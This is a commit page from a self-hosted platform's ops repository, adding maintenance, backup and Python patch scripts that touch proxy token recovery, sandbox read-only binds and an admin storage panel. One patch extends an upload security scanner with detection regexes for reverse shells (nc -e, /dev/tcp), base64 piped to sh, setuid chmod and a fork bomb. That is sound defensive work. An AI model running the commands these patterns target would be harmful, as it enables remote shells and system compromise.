chore(工作区): 全量入库 + 补齐 .gitignore(以工作区为准)

- 变更规模:新增 514 / 修改 62 / 重命名 155 / 删除 4(归档重组与文档轮次)
- .gitignore 修:`归档/**/db-cwd归一-备份-*/` —— 原规则写绝对层级(归档/db-cwd归一-…),
  目录搬进 归档/配置与备份/ 后**静默失效**,43 MB 的 DB 备份又变成未跟踪
- .gitignore 补:嵌套 git 内部数据(归档/内嵌git-20261008/、归档/skills-git-旧线-20261007/dotgit-原样移出/)
- .gitignore 补:运行态与部署副本(.workbuddy/collab/、.workbuddy/tools/、.workbuddy/.load-pending、.workbuddy/tmp-*)
- .gitignore 补:备份件(*.bak-*)
- 未跟踪文件从 2190 降到 890(其余为 归档/ 归档件与 .workbuddy/memory/ 知识文件,按口径入库)
This commit is contained in:
admin committed 2026-10-10 23:13:22 +08:00
1 parent 30b46dbd0c
commit c1b5e4d966
735 files changed
+153192 -2415

No files matched your search

@@ -0,0 +1,71 @@
#!/usr/bin/env node
/**
* clean-ws-pollution.cjs —— 清理"平台安装插件"在用户工作区留下的污染(档案 28)
*
* 白名单(精确匹配,绝不碰其它内容):
* ws/.local pnpm store(旧 HOME=<ws> 造成)
* ws/.cache pnpm metadata 缓存
* ws/.poc-backup PoC 备份
* ws/poc PoC 源码副本
* ws/*.tgz 安装用插件包(现在改为直接用 /opt/dsh/artifacts/ 不再复制)
*
* 用法:
* node clean-ws-pollution.cjs # dry-run(默认,只打印)
* node clean-ws-pollution.cjs --apply # 实际执行:mv 到 <userRoot>/trash/<日期>-ws-pollution/
* node clean-ws-pollution.cjs --apply --user-id <uuid>
* 动作是**移动**(同盘 mv,秒级、可恢复),不是删除。
*/
const { execFileSync } = require('node:child_process')
const { existsSync, mkdirSync, readdirSync, statSync } = require('node:fs')
const { join } = require('node:path')
const Database = require('/opt/dshs/node_modules/better-sqlite3')
const APPLY = process.argv.includes('--apply')
const idx = process.argv.indexOf('--user-id')
const onlyId = idx >= 0 ? process.argv[idx + 1] : ''
const STAMP = new Date().toISOString().slice(0, 10)
const db = new Database('/var/lib/dshs/dshs.db', { readonly: true })
const users = db.prepare('SELECT id, username, uid, home_dir FROM users').all()
.filter((u) => onlyId === '' || u.id === onlyId)
const du = (p) => {
try {
const out = execFileSync('du', ['-sk', p], { encoding: 'utf8' })
return Number(out.split(/\s+/)[0]) * 1024
} catch { return 0 }
}
const fmt = (b) => (b >= 1048576 ? (b / 1048576).toFixed(1) + ' MB' : (b / 1024).toFixed(0) + ' KB')
for (const u of users) {
const ws = join(u.home_dir, '..', 'ws')
if (!existsSync(ws)) { console.log(` ${u.username}: NO_WS`); continue }
const cands = []
for (const rel of ['.local', '.cache', '.poc-backup', 'poc']) {
const p = join(ws, rel)
if (existsSync(p)) cands.push({ p, size: du(p) })
}
for (const f of readdirSync(ws)) {
if (f.endsWith('.tgz')) {
const p = join(ws, f)
try { if (statSync(p).isFile()) cands.push({ p, size: statSync(p).size }) } catch {}
}
}
const total = cands.reduce((a, c) => a + c.size, 0)
console.log(` ${u.username}: 候选 ${cands.length} 项 / ${fmt(total)}${APPLY ? ' → 移入回收站' : '(dry-run)'}`)
for (const c of cands) console.log(` - ${c.p.replace(ws, 'ws')} ${fmt(c.size)}`)
if (APPLY && cands.length > 0) {
const trash = join(u.home_dir, '..', 'trash', `${STAMP}-ws-pollution`)
mkdirSync(trash, { recursive: true })
for (const c of cands) {
const dest = join(trash, c.p.slice(ws.length + 1).replace(/\//g, '__'))
try {
execFileSync('mv', [c.p, dest])
execFileSync('chown', ['-R', `${u.uid}:${u.uid}`, dest])
} catch (e) { console.log(` ! 移动失败 ${c.p}: ${String(e.message).split('\n')[0]}`) }
}
console.log(` → 已移至 ${trash.replace(u.home_dir, 'home')}(保留 30 天,可整目录移回恢复)`)
}
}
db.close()
console.log(APPLY ? 'done(已移动)' : 'done(dry-run,未改动)')
@@ -0,0 +1,14 @@
feat(maintenance): 清理策略一次性优化到位(会话保留 365 天 / .keep 豁免 / projcache 同步 / 用量面板)
1) 会话保留期加长(用户要求"对话记忆留长些"):90 -> 365 天;阈值 500 -> 1024 MB(cron 已更新)
2) .keep 豁免:ws 顶层放 .keep 即跳过 T2(一次性脚本不清理),T1 仍清
3) projcache 同步回收:session-gc 删会话时按 session-id 精确回收
storages/session_projcache/sessions/<id>.json(不会误删他人会话)
4) 用量可见:新增 scripts/storage-report.cjs(每小时快照 /var/run/dsh-storage-report.json);
门户新增 GET /api/admin/storage(requireAdmin,只读快照不做实时 du);
admin.html 新增「存储用量」区块(工作区/会话/回收站/可清理项数,超阈值标红)
5) 硬配额评估结论 = 不做:根 fs 为 ext4 且未启用 prjquota,强行上需重挂载/重建(停机与数据风险不对称);
当前用量 24%(8.6G/40G)无压力,以"软阈值 + 小时快照 + 门户可视 + 每日清理"替代
验证:ci.sh 通过;storage-report 首跑生成快照(admin ws=0 sessions=0.7M trash=17.6M);
重启后 /api/admin/storage 未登录返回 401(受 requireAdmin 保护,证明路由生效);admin.html 已含用量区块。
@@ -0,0 +1,12 @@
#!/usr/bin/env python3
# 把两处 helper 内的 request.log.warn(无 request 上下文)改为服务日志
import io
OLD = " request.log.warn({ findings: scanFindings.slice(0, 20), count: scanFindings.length }, 'upload-scan-warnings')"
NEW = (" process.stderr.write(\n"
" `[upload-scan-warnings] ${JSON.stringify({ count: scanFindings.length, findings: scanFindings.slice(0, 20) })}\\n`,\n"
" )")
for p in ("/opt/dshs/src/web/routes/business-plugins.ts", "/opt/dshs/src/web/routes/skills.ts"):
s = io.open(p, encoding='utf-8').read()
assert OLD in s, p
io.open(p, 'w', encoding='utf-8', newline='').write(s.replace(OLD, NEW, 1))
print('fixed', p)
@@ -0,0 +1,34 @@
#!/bin/bash
# DSH 平台一键备份(2026-09-11 加固:可执行位 + SQLite 一致性快照 + 纳入运维资产)
# 用法:/opt/dsh/backup.sh 产物:/opt/dsh/backups/dsh-platform-backup-<TS>.tar.gz
set -euo pipefail
TS=$(date +%Y%m%d_%H%M%S)
OUT=/opt/dsh/backups/dsh-platform-backup-${TS}.tar.gz
TMP=$(mktemp -d /tmp/dsh-bk-XXXXXX)
trap 'rm -rf "$TMP"' EXIT
# 1) SQLite 一致性快照(运行中服务用 .backup,避免只拷到 -wal 而数据库不一致)
if command -v sqlite3 >/dev/null 2>&1 && [ -f /var/lib/dshs/dshs.db ]; then
sqlite3 /var/lib/dshs/dshs.db ".backup '$TMP/dshs.db'"
DB_SNAP=1
else
DB_SNAP=0
fi
# 2) 打包:用户数据 + 平台库/配置 + 运维资产(可重建)
cd /
ITEMS="var/lib/dshs etc/dshs.env etc/systemd/system/dshs.service etc/systemd/system/dsh-provision.path etc/systemd/system/dsh-provision.service"
[ -d /opt/dsh/artifacts ] && ITEMS="$ITEMS opt/dsh/artifacts"
[ -d /opt/dshs/scripts ] && ITEMS="$ITEMS opt/dshs/scripts"
for f in /etc/cron.d/dsh-maintenance /etc/cron.d/dsh-backup /etc/nftables-dsh-egress.nft; do
[ -f "$f" ] && ITEMS="$ITEMS ${f#/}"
done
[ -d /www/server/panel/vhost/nginx ] && ITEMS="$ITEMS www/server/panel/vhost/nginx"
tar -czf "$OUT" $ITEMS 2>/dev/null || true
# 3) 把一致性 DB 快照追加进归档(覆盖 tar 里的实时 db 副本,确保恢复时用的是快照)
if [ "$DB_SNAP" = "1" ]; then
tar -czf "${OUT%.tar.gz}-db-snapshot.tar.gz" -C "$TMP" dshs.db
fi
echo "备份完成: $OUT"
ls -lh "$OUT" ${OUT%.tar.gz}-db-snapshot.tar.gz 2>/dev/null || true
@@ -0,0 +1,131 @@
#!/usr/bin/env python3
# 档案 24 补丁:实例侧 401(launch token 过期)在浏览器导航时自动恢复
# 用法: python3 patch-24.py /opt/dshs
import io
import os
import sys
root = sys.argv[1] if len(sys.argv) > 1 else '.'
p = os.path.join(root, 'src/supervisor/proxy.ts')
s = io.open(p, encoding='utf-8').read()
changed = []
def sub(old, new, cnt=1):
global s
assert old in s, 'anchor not found:\n' + old[:200]
s = s.replace(old, new, cnt)
changed.append(old.split('\n')[0][:60])
# 1) 成功分支带上 userId(用于取新 token)
sub(
""" const endpoint = await app.supervisor.endpointFor(session.user.id)
if (endpoint === undefined) return { error: 'not_running', code: 404, userId: session.user.id }""",
""" const endpoint = await app.supervisor.endpointFor(session.user.id)
if (endpoint === undefined) return { error: 'not_running', code: 404, userId: session.user.id }
// userId 一并返回:实例侧 401(launch token 过期)时用它取当前实例的新 token(档案 24)。""",
)
# 2) proxyHttp 增加 freshAuthUrl 参数
sub(
""" rewriteLoopbackLocation = false,
useKeepAlive = false,
): void {
reply.hijack()""",
""" rewriteLoopbackLocation = false,
useKeepAlive = false,
/**
* 实例侧 401 时的恢复入口(档案 24):浏览器导航遇到 dsh 的 "authentication required"
* (launch token 过期 —— 实例重启/回收后刷新旧标签页)时调用,返回应 302 到的地址。
* 返回 undefined 则回落到 '/'。
*/
freshAuthUrl?: () => Promise<string | undefined>,
): void {
reply.hijack()""",
)
# 3) 上游响应里的 401 处理(插在 writeHead 之前)
sub(
""" reply.raw.writeHead(upRes.statusCode ?? 502, headers)""",
""" // 2026-09-11(档案 24):实例侧 401 = launch token 过期。浏览器导航时不要停在
// dsh 的 "dsh web authentication required; reopen the URL printed by dsh web." 死端页,
// 而是用当前实例的新 token 302 回同一地址(拿不到则回门户)。
if (
upRes.statusCode === 401 &&
request.raw.method === 'GET' &&
String(request.headers.accept ?? '').includes('text/html') &&
freshAuthUrl !== undefined
) {
upRes.resume()
void freshAuthUrl()
.then((url) => {
reply.raw.writeHead(302, { location: url ?? '/' })
reply.raw.end()
})
.catch(() => {
reply.raw.writeHead(302, { location: '/' })
reply.raw.end()
})
return
}
reply.raw.writeHead(upRes.statusCode ?? 502, headers)""",
)
# 4) 子域 onRequest 调用点:传入 freshAuthUrl
sub(
""" proxyHttp(request, reply, access.endpoint, request.raw.url ?? '/', undefined, app.config.deployMode === 'local', app.config.deployMode === 'k8s')
})
// Per-user subdomain: WebSocket upgrade tunnel.""",
""" const navScheme = app.config.secureCookies ? 'https' : 'http'
const navHost = clientHost(request.headers) ?? app.config.baseDomain
proxyHttp(
request,
reply,
access.endpoint,
request.raw.url ?? '/',
undefined,
app.config.deployMode === 'local',
app.config.deployMode === 'k8s',
async () => {
const status = await app.supervisor.status(access.userId)
const token = status.main?.launchToken
return token !== undefined && token !== ''
? `${navScheme}://${navHost}/?token=${encodeURIComponent(token)}`
: `${navScheme}://${app.config.baseDomain}/`
},
)
})
// Per-user subdomain: WebSocket upgrade tunnel.""",
)
# 5) 路径式路由 /u/:slug/dsh/ 调用点:同样传入
sub(
""" proxyHttp(request, reply, endpoint, targetPath, prefix, app.config.deployMode === 'local', app.config.deployMode === 'k8s')
})""",
""" const pathScheme = app.config.secureCookies ? 'https' : 'http'
proxyHttp(
request,
reply,
endpoint,
targetPath,
prefix,
app.config.deployMode === 'local',
app.config.deployMode === 'k8s',
async () => {
const status = await app.supervisor.status(request.user!.id)
const token = status.main?.launchToken
return token !== undefined && token !== ''
? `${pathScheme}://${app.config.baseDomain}${prefix}/?token=${encodeURIComponent(token)}`
: `${pathScheme}://${app.config.baseDomain}/`
},
)
})""",
)
io.open(p, 'w', encoding='utf-8', newline='').write(s)
print('patched anchors:')
for c in changed:
print(' -', c)
@@ -0,0 +1,69 @@
#!/usr/bin/env python3
# 档案 25:not_running 的浏览器导航兜底 —— 绝不吐 JSON;并发进场等待在飞的实例
# 用法: python3 patch-25.py /opt/dshs
import io
import os
import sys
root = sys.argv[1] if len(sys.argv) > 1 else '.'
p = os.path.join(root, 'src/supervisor/proxy.ts')
s = io.open(p, encoding='utf-8').read()
old = """ // 实例未运行(后台回收/崩溃/停止后刷新会话页)→ 自动重启并 302 到新实例 URL,
// 透明恢复,不必让用户重新登录。
if (access.code === 404 && access.error === 'not_running' && access.userId !== undefined) {
try {
const folderAbs = app.userFs.resolvePath(access.userId, '')
const instance = await app.supervisor.launch(access.userId, folderAbs, undefined)
const token = instance.launchToken ?? ''
if (token !== '') {
const scheme = app.config.secureCookies ? 'https' : 'http'
reply.redirect(`${scheme}://${clientHost(request.headers)}/?token=${encodeURIComponent(token)}`)
return
}
} catch {
// 启动失败(目录异常/已在启动中等)→ 落到下方 not_running 响应
}
}
reply.code(access.code).send({ error: access.error })
return"""
new = """ // 实例未运行(后台回收/崩溃/停止/熔断后刷新会话页)→ 自动重启并 302 到新实例 URL,
// 透明恢复,不必让用户重新登录。
if (access.code === 404 && access.error === 'not_running' && access.userId !== undefined) {
const navScheme = app.config.secureCookies ? 'https' : 'http'
const navHost = clientHost(request.headers) ?? app.config.baseDomain
const isNavigation =
request.raw.method === 'GET' && (request.headers.accept ?? '').includes('text/html')
let token = ''
try {
const folderAbs = app.userFs.resolvePath(access.userId, '')
const instance = await app.supervisor.launch(access.userId, folderAbs, undefined)
token = instance.launchToken ?? ''
} catch {
// 并发进场(另一个请求正在拉起 → AlreadyRunningError)或启动异常:
// 等一会儿取在飞实例的 token,而不是直接把 404 JSON 甩给浏览器(档案 25)。
try {
await app.supervisor.waitForLaunchTokenForUser(access.userId, 20000)
token = (await app.supervisor.status(access.userId)).main?.launchToken ?? ''
} catch {
token = ''
}
}
if (token !== '') {
reply.redirect(`${navScheme}://${navHost}/?token=${encodeURIComponent(token)}`)
return
}
// 仍拿不到 token:浏览器导航一律回门户(可点「进入」,避免看到裸 JSON);API 保持 JSON。
if (isNavigation) {
reply.redirect(`${navScheme}://${app.config.baseDomain}/`)
return
}
}
reply.code(access.code).send({ error: access.error })
return"""
assert old in s, 'anchor not found'
s = s.replace(old, new, 1)
io.open(p, 'w', encoding='utf-8', newline='').write(s)
print('patched: not_running 浏览器导航兜底 + 并发等待')
@@ -0,0 +1,49 @@
#!/usr/bin/env python3
import io
p = '/opt/dshs/web/admin.html'
s = io.open(p, encoding='utf-8').read()
anchor = """ <table class="admin">
<thead><tr><th>用户名</th><th>角色</th><th>注册时间</th><th>操作</th></tr></thead>
<tbody id="users"></tbody>
</table>
"""
assert anchor in s
block = anchor + """
<h3 style="margin:22px 0 8px">存储用量 <span class="auth-sub" id="storageAt" style="font-weight:400"></span></h3>
<table class="admin">
<thead><tr><th>用户</th><th>工作区</th><th>会话</th><th>回收站</th><th>可清理</th></tr></thead>
<tbody id="storage"></tbody>
</table>
<p class="auth-sub" style="margin:6px 0 0">工作区达 <span id="thWs"></span> / 会话达 <span id="thSess"></span> 时由每日维护任务自动清理(工作区 90 天、会话 365 天前的记录;均先入回收站保留 30 天)。</p>
"""
s = s.replace(anchor, block, 1)
js_anchor = " document.getElementById('logoutBtn').addEventListener('click', async () => {"
assert js_anchor in s
js = """ function fmtB(b) { return b >= 1073741824 ? (b / 1073741824).toFixed(2) + ' GB' : (b / 1048576).toFixed(1) + ' MB' }
async function loadStorage() {
const tbody = document.getElementById('storage')
try {
const r = await (await fetch('/api/admin/storage')).json()
document.getElementById('storageAt').textContent = r.generatedAt ? `(更新于 ${new Date(r.generatedAt).toLocaleString()})` : ''
if (r.thresholds) {
document.getElementById('thWs').textContent = r.thresholds.wsMB + ' MB'
document.getElementById('thSess').textContent = r.thresholds.sessionsMB + ' MB'
}
tbody.innerHTML = (r.users ?? []).map((u) => `<tr>
<td>${esc(u.username)}</td>
<td style="${u.wsOver ? 'color:var(--danger)' : ''}">${fmtB(u.ws)}</td>
<td style="${u.sessionsOver ? 'color:var(--danger)' : ''}">${fmtB(u.sessions)}</td>
<td>${fmtB(u.trash)}</td>
<td>${u.cleanableT1 + u.cleanableT2} 项 / ${fmtB(u.cleanableBytes)}</td>
</tr>`).join('') || `<tr><td colspan="5" class="auth-sub">${esc(r.note ?? '暂无数据')}</td></tr>`
} catch { tbody.innerHTML = '<tr><td colspan="5" class="auth-sub">读取失败</td></tr>' }
}
""" + js_anchor
s = s.replace(js_anchor, js, 1)
call_anchor = " await loadUsers()"
if call_anchor in s:
s = s.replace(call_anchor, call_anchor + "\n await loadStorage()", 1)
else:
s = s.replace("loadUsers()", "loadUsers(); loadStorage()", 1)
io.open(p, 'w', encoding='utf-8', newline='').write(s)
print('E admin.html 用量区块已写入')
@@ -0,0 +1,19 @@
#!/usr/bin/env python3
import io
p = '/opt/dshs/src/web/routes/admin.ts'
s = io.open(p, encoding='utf-8').read()
anchor = " app.get('/api/admin/users', { preHandler: requireAdmin },"
assert anchor in s
new = """ // 档案 28:存储用量面板(读取维护脚本生成的快照文件,避免每次请求都 du)
app.get('/api/admin/storage', { preHandler: requireAdmin }, async () => {
const { readFileSync } = await import('node:fs')
try {
return JSON.parse(readFileSync(process.env.DSH_STORAGE_REPORT ?? '/var/run/dsh-storage-report.json', 'utf8'))
} catch {
return { generatedAt: null, users: [], note: '报告尚未生成(cron 每小时刷新一次)' }
}
})
""" + anchor
io.open(p, 'w', encoding='utf-8', newline='').write(s.replace(anchor, new, 1))
print('D admin.ts 新端点已写入')
@@ -0,0 +1,58 @@
#!/usr/bin/env python3
# 档案 18/17 P1(H2):把平台策略文件在实例内设为只读(bwrap --ro-bind-try)
# 用法: python3 patch-b1-write-protect.py /opt/dshs
import io, os, sys
root = sys.argv[1] if len(sys.argv) > 1 else '.'
p = os.path.join(root, 'src/supervisor/orchestrator.ts')
s = io.open(p, encoding='utf-8').read()
# 1) spawnAsUser 增加 role 形参(用于定位 profile 目录名)
old_sig = """ private async spawnAsUser(
userId: string,
command: string,
args: string[],
options: { cwd: string; env: Record<string, string> },
): Promise<{ child: ChildProcess; unit?: string }> {"""
new_sig = """ private async spawnAsUser(
userId: string,
command: string,
args: string[],
options: { cwd: string; env: Record<string, string> },
role: InstanceRole = 'main',
): Promise<{ child: ChildProcess; unit?: string }> {"""
assert old_sig in s, 'sig'
s = s.replace(old_sig, new_sig, 1)
# 2) 调用点传入 role
old_call = """ const { child, unit } = await this.spawnAsUser(userId, command, [...args, ...launchArgs], { cwd: folder, env })"""
new_call = """ const { child, unit } = await this.spawnAsUser(userId, command, [...args, ...launchArgs], { cwd: folder, env }, role)"""
assert old_call in s, 'call'
s = s.replace(old_call, new_call, 1)
# 3) 在 --bind root root 之后追加平台策略文件的只读覆盖
old_bind = """ '--bind', tmpDir, '/tmp',
'--bind', root, root,
'--unshare-pid',"""
new_bind = """ '--bind', tmpDir, '/tmp',
'--bind', root, root,
// 2026-09-11(档案 18 v3 收尾 / 档案 17 §P1):平台策略文件在实例内**只读**。
// 威胁模型:用户可把 <userRoot>/home/profiles/web 加为工作区,随后用 bash 直接改写
// cordis.patch.yml(去掉平台段 → 恢复全盘 picker)或 package.json(挂任意 bundle)→
// 属"绕过平台策略"(跨租户仍不成立,uid/bwrap 隔离不变)。
// 只读三个文件;**不动 cordis.yml**——实测 dsh 启动时会写它(01:16:22),ro 会导致启动异常。
// 注意:必须放在 '--bind root root' **之后**(bwrap 后写覆盖前写)。
...(() => {
const profileDir = join(homeRoot(root), 'profiles', role === 'main' ? 'web' : 'headless')
const protectedFiles = ['cordis.patch.yml', 'package.json', 'pnpm-lock.yaml']
const out: string[] = []
for (const name of protectedFiles) {
const file = join(profileDir, name)
out.push('--ro-bind-try', file, file)
}
return out
})(),
'--unshare-pid',"""
assert old_bind in s, 'bind'
s = s.replace(old_bind, new_bind, 1)
io.open(p, 'w', encoding='utf-8', newline='').write(s)
print('B1 补丁脚本已生成')
@@ -0,0 +1,22 @@
#!/usr/bin/env python3
# B3 便宜版(档案 19 §C5):给废弃/不可达的表加注释(**不得含反引号**——schema 是 TS 模板字符串)
import io
p = '/opt/dshs/src/db/schema.ts'
s = io.open(p, encoding='utf-8').read()
W = """-- 【2026-09-11 档案 19 §C5 便宜版】该表在本部署已废弃:folder_plugins 无任何业务/路由调用
-- (grep 实证:仅 src/db/* 自引用;档案 16 已宣布 folder 级插件废弃)。
-- 保留表结构仅为兼容 k8s/PG 未验证路径(档案 19 §C8)——请勿在此表上新增功能。
CREATE TABLE IF NOT EXISTS folder_plugins ("""
assert s.count('CREATE TABLE IF NOT EXISTS folder_plugins (') == 2
s = s.replace('CREATE TABLE IF NOT EXISTS folder_plugins (', W)
WS = """-- 【2026-09-11 档案 19 §C5 便宜版】该表仅被 enablePatch 分支使用
-- (src/web/routes/dsh.ts 的 findWorkspaceByPath),而 DEFAULT_ENABLE_PATCH=false 且生产 env 未覆盖
-- → 本部署不可达。保留以兼容 k8s 路径;请勿在此表上新增功能。
CREATE TABLE IF NOT EXISTS workspaces ("""
assert s.count('CREATE TABLE IF NOT EXISTS workspaces (') == 2
s = s.replace('CREATE TABLE IF NOT EXISTS workspaces (', WS)
assert '`' not in W and '`' not in WS
io.open(p, 'w', encoding='utf-8', newline='').write(s)
print('schema.ts 已加 4 处注释(无引号版)')
@@ -0,0 +1,191 @@
#!/usr/bin/env python3
# 档案 19 §C6(B4:安全扫描分级扩展)+ 档案 18 v3 收尾(B2:编排器自愈补齐 picker)
# 用法: python3 patch-b4-b2.py /opt/dshs
import io, os, sys
root = sys.argv[1] if len(sys.argv) > 1 else '.'
def rd(p): return io.open(os.path.join(root,p), encoding='utf-8').read()
def wr(p,s): io.open(os.path.join(root,p),'w',encoding='utf-8',newline='').write(s)
def sub(p, old, new, cnt=1):
s = rd(p); assert old in s, f'anchor missing in {p}: {old[:80]}'
wr(p, s.replace(old,new,cnt))
# ───────────────────────── B4:security-scan.ts 分级扩展 ─────────────────────────
p = 'src/web/security-scan.ts'
s = rd(p)
s = s.replace("""/**
* Shared upload security scan (安全检测) for skill and business-plugin uploads.
* Heuristic scan over text files only — a hit means an *obviously* malicious or
* privilege-escalating pattern, so the upload is rejected rather than admitted.
* @module dshs/web/security-scan
*/""",
"""/**
* Shared upload security scan (安全检测) for skill and business-plugin uploads.
*
* 分级(档案 19 §C6,2026-09-11):
* · **P0(阻断)** —— 明显恶意/提权模式:命中即拒绝上传(HTTP 400),与历史行为一致;
* · **P1(告警)** —— 可疑但常见的模式(动态执行、外联、敏感 env、长 base64、隐藏文件/`.git`):
* **不阻断**,作为 findings 返回并写日志,供管理员在上传时人工复核。
* 之前只有"命中即 400",缺少分级与整改提示;现在 `scanDir` 返回 P1 findings(调用方可忽略)。
* @module dshs/web/security-scan
*/""", 1)
s = s.replace("""const SCAN_TEXT_EXT = new Set([
'.js', '.mjs', '.cjs', '.ts', '.tsx', '.jsx', '.sh', '.bash', '.py', '.json', '.md', '.txt', '.yml', '.yaml', '.html', '.css',
])""",
"""const SCAN_TEXT_EXT = new Set([
'.js', '.mjs', '.cjs', '.ts', '.tsx', '.jsx', '.sh', '.bash', '.zsh', '.py', '.json', '.md', '.txt',
'.yml', '.yaml', '.html', '.css', '.toml', '.ini', '.conf', '.env', '.cfg',
// 2026-09-11 扩展:非 JS 生态的常见脚本/配置(上传包里同样可能藏恶意指令)
'.rs', '.go', '.java', '.php', '.rb', '.pl', '.lua', '.sql', '.ps1', '.psm1', '.bat', '.cmd',
])
/** 扫描体积上限(旧值 2MB 会漏掉较大脚本;提到 8MB,仍跳过二进制/超大文件)。 */
const SCAN_MAX_BYTES = 8 * 1024 * 1024""", 1)
# 原 7 条 → BLOCK(P0),并补充明显恶意的模式
s = s.replace("const DANGEROUS_PATTERNS: Array<{ re: RegExp; why: string }> = [",
"/** P0:明显恶意/提权 → 直接阻断上传。 */\nconst BLOCK_PATTERNS: Array<{ re: RegExp; why: string }> = [", 1)
s = s.replace(""" { re: /\\.credentials\\.yaml/, why: '读取实例会话密钥' },
]""",
""" { re: /\\.credentials\\.yaml/, why: '读取实例会话密钥' },
// 2026-09-11 新增(档案 17 §S/M 对齐):仍是"明显恶意"档,故归 P0
{ re: /\\bnc\\s+-[a-z]*e[a-z]*\\s+\\S+\\s+\\d+/, why: '反弹 shell(nc -e)' },
{ re: /\\/dev\\/tcp\\/\\d{1,3}(\\.\\d{1,3}){3}\\/\\d+/, why: '反弹 shell(/dev/tcp)' },
{ re: /(?:base64\\s+-d|b64decode|atob)\\s*[\\s\\S]{0,40}?\\|\\s*(?:sh|bash)\\b/, why: 'base64 解码后直接执行' },
{ re: /\\bchmod\\s+(?:\\+s|4[0-7]{3}|6[0-7]{3})\\b[^\\n]{0,40}(?:\\/usr\\/bin|\\/bin)\\//, why: '尝试为系统二进制加 setuid/特权位' },
{ re: /:\\s*\\(\\s*\\)\\s*\\{\\s*:\\s*\\|\\s*:/, why: 'fork 炸弹' },
]
/**
* P1:可疑但常见 → **不阻断**,作为 findings 上报(管理员人工复核)。
* 说明书见档案 19 §C6 与档案 17 §S/M。
*/
const WARN_RULES: Array<{ id: string; re: RegExp; why: string }> = [
{ id: 'dynamic-exec', re: /\\b(?:child_process|execSync|execFileSync|spawnSync|require\\('child_process'\\))/, why: '动态执行子进程(需确认目标命令可信)' },
{ id: 'vm-eval', re: /\\b(?:new\\s+Function\\s*\\(|require\\('vm'\\)|from 'node:vm'|eval\\s*\\()/, why: '动态求值 vm/eval/new Function' },
{ id: 'sensitive-env', re: /process\\.env\\s*[.\\[]\\s*['"]?(?:DEEPSEEK_API_KEY|DSH_[A-Z_]+|[A-Z_]*TOKEN|[A-Z_]*SECRET|[A-Z_]*KEY)/, why: '读取敏感环境变量' },
{ id: 'long-base64', re: /[A-Za-z0-9+/]{600,}={0,2}/, why: '超长 base64 载荷(可能是混淆/内嵌二进制)' },
{ id: 'network-egress', re: /https?:\\/\\/(?!localhost|127\\.0\\.0\\.1)[a-z0-9.-]+\\.[a-z]{2,}/i, why: '外部网络访问(需确认域名可信;配合出网护栏)' },
{ id: 'hidden-or-git', re: /(?:\\.git\\/|(?:^|\\/)\\.[a-z][a-z0-9_-]*\\/)/i, why: '包含隐藏目录/.git(可能携带仓库元数据或绕过审查)' },
]
/** 一条扫描发现(P1 告警)。 */
export interface ScanFinding { rule: string; why: string; file: string }""", 1)
# scanDir:跳过二进制、用新上限、收集 P1 findings 并返回
s = s.replace("""/** Recursively scan text files under `root` for dangerous patterns. */
export function scanDir(root: string, rel = ''): void {""",
"""/**
* Recursively scan text files under `root`.
* P0 命中 → 抛 400(阻断上传);P1 命中 → 收集并**返回**(调用方可记录/展示,不影响上传)。
*/
export function scanDir(root: string, rel = '', findings: ScanFinding[] = []): ScanFinding[] {""", 1)
s = s.replace(""" if (st.isDirectory()) {
scanDir(abs, relPath)
continue
}""",
""" if (st.isDirectory()) {
scanDir(abs, relPath, findings)
continue
}""", 1)
s = s.replace(""" const ext = dot >= 0 ? base.slice(dot).toLowerCase() : ''
if (!SCAN_TEXT_EXT.has(ext)) continue
if (st.size > 2 * 1024 * 1024) continue // skip huge files (unlikely to be source)
let text: string
try {
text = readFileSync(abs, 'utf8')
} catch {
continue
}
for (const p of DANGEROUS_PATTERNS) {
if (p.re.test(text)) {
throw httpError(400, `安全检测未通过:${p.why}(${relPath})`)
}
}
}
}""",
""" const ext = dot >= 0 ? base.slice(dot).toLowerCase() : ''
const hasShebangCandidate = ext === '' // 无扩展名文件也可能是脚本(按内容判 shebang)
if (!SCAN_TEXT_EXT.has(ext) && !hasShebangCandidate) continue
if (st.size > SCAN_MAX_BYTES) continue // 跳过超大文件(不太可能是源码)
let text: string
try {
text = readFileSync(abs, 'utf8')
} catch {
continue
}
// 二进制探测 + shebang 判定(0x00 视为二进制;无扩展名须含 shebang 才继续)
if (text.includes('\\u0000')) continue
if (hasShebangCandidate && !/^#!\\s*\\S/.test(text.slice(0, 64))) continue
for (const p of BLOCK_PATTERNS) {
if (p.re.test(text)) {
throw httpError(400, `安全检测未通过(P0 阻断):${p.why}(${relPath})`)
}
}
for (const w of WARN_RULES) {
if (w.re.test(text)) {
findings.push({ rule: w.id, why: w.why, file: relPath })
}
}
}
return findings
}""", 1)
wr(p, s)
# 调用点:记录并回传 P1 findings(加法式,不改变原有阻断行为)
sub('src/web/routes/business-plugins.ts', ' scanDir(unzipDir)',
""" const scanFindings = scanDir(unzipDir)
if (scanFindings.length > 0) {
// P1 告警:不阻断,仅记录(管理员可在响应中看到)
request.log.warn({ findings: scanFindings.slice(0, 20), count: scanFindings.length }, 'upload-scan-warnings')
}""")
sub('src/web/routes/skills.ts', ' scanDir(unzipDir)',
""" const scanFindings = scanDir(unzipDir)
if (scanFindings.length > 0) {
request.log.warn({ findings: scanFindings.slice(0, 20), count: scanFindings.length }, 'upload-scan-warnings')
}""")
# ───────────────────────── B2:编排器自愈补齐 picker ─────────────────────────
p = 'src/supervisor/orchestrator.ts'
s = rd(p)
assert "import { execFileSync, spawn," in s
s = s.replace(""" /** Stop the current main (clean) and respawn it with the same folder/patch. */""",
""" /**
* 档案 18 v3 收尾(第二层自愈):确保该用户的 profile 具备"受限目录选择器"
* (平台段 + 插件包)—— 复用平台脚本 `ensure-workspace-picker.cjs --user-id <id>`(幂等)。
* 异步 fire-and-forget:不阻塞启动;失败只记日志(第一层由 provisioning 钩子兜底)。
* 覆盖场景:profile 被清空/重建、手工删掉平台段、插件被卸载。
*/
private ensurePickerProfile(userId: string): void {
const script =
process.env.DSH_PICKER_ENSURE_SCRIPT ??
join(process.cwd(), 'poc', 'workspace-scoped-picker', 'ensure-workspace-picker.cjs')
if (!existsSync(script)) return
try {
const child = spawn('node', [script, '--user-id', userId], { detached: true, stdio: 'ignore' })
child.on('error', (err) => {
process.stderr.write(`[picker-ensure] spawn failed: ${err.message}\\n`)
})
child.unref()
} catch (err) {
process.stderr.write(
`[picker-ensure] failed for ${userId}: ${err instanceof Error ? err.message : String(err)}\\n`,
)
}
}
/** Stop the current main (clean) and respawn it with the same folder/patch. */""", 1)
s = s.replace("import { chmodSync, chownSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'",
"import { chmodSync, chownSync, existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'", 1)
# 调用点:launch 前 + spawn 后
